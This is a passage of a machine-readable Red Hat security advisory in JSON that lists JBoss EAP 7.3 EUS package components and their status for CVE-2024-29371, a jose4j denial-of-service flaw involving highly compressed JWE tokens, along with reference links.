"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch"
},
"product_reference": "eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch"
},
"product_reference": "eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src"
},
"product_reference": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch"
},
"product_reference": "eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch"
},
"product_reference": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
},
"product_reference": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
},
"product_reference": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src"
},
"product_reference": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
},
"product_reference": "eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
},
"product_reference": "eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
},
"product_reference": "eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
},
"product_reference": "eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2024-29371",
"cwe": {
"id": "CWE-409",
"name": "Improper Handling of Highly Compressed Data (Data Amplification)"
},
"discovery_date": "2025-12-17T16:01:18.173727+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2423194"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in jose4j. A remote attacker can exploit this by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression. This can lead to a Denial of Service, making the service unavailable to legitimate users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "jose4j: jose4j: Denial of Service via malicious JSON Web Encryption (JWE) token compression",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important as it can lead to a Denial of Service in applications that process untrusted JSON Web Encryption tokens. An attacker can craft a malicious JWE token with an exceptionally high compression ratio, causing excessive memory allocation and processing time during decompression in affected components like jose4j. This affects products such as Red Hat AMQ, Enterprise Application Platform (EAP 8.0.z, 8.1.z), Red Hat JBoss Fuse, JBoss Data Grid, OpenShift Developer Tools \u0026 Services, Red Hat build of Apache Camel, Red Hat Integration, Red Hat OpenShift Dev Spaces, Red Hat Process Automation Manager, Red Hat Single Sign-On (RH-SSO), Insights, cloud.redhat.com, and OpenShift Serverless.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2024-29371"
},
{
"category": "external",
"summary": "RHBZ#2423194",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423194"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2024-29371",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29371"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2024-29371",
